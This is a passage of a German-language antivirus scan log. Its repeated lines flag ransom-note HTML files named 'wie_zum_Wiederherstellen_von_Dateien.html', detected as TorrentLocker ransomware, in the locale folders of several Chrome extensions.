sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\lt\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\lv\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\ms\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\nl\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\no\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\pl\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\pt_BR\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\pt_PT\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\ro\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\ru\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\sk\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\sl\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\sr\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\sv\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\th\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\tr\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\uk\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\vi\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\zh_CN\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\zh_TW\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_metadata\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\ar\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\bg\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\ca\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\cs\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\da\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\de\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\el\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\en_GB\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\en_US\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\es\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\es_419\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\et\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\fi\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\fil\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\fr\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\he\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\hi\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\hu\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\id\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\it\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\ja\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\ko\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\lt\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\lv\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\ms\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\nl\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\no\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\pl\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\pt_BR\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\pt_PT\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\ro\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\ru\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\sk\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\sl\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\sr\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\sv\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\th\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\tr\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\uk\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\vi\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\zh_CN\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_locales\zh_TW\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.9_0\_metadata\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\ar\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\bg\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\ca\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\cs\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\da\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\de\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.4_0\_locales\el\wie_zum_Wiederherstellen_von_Dateien.html"

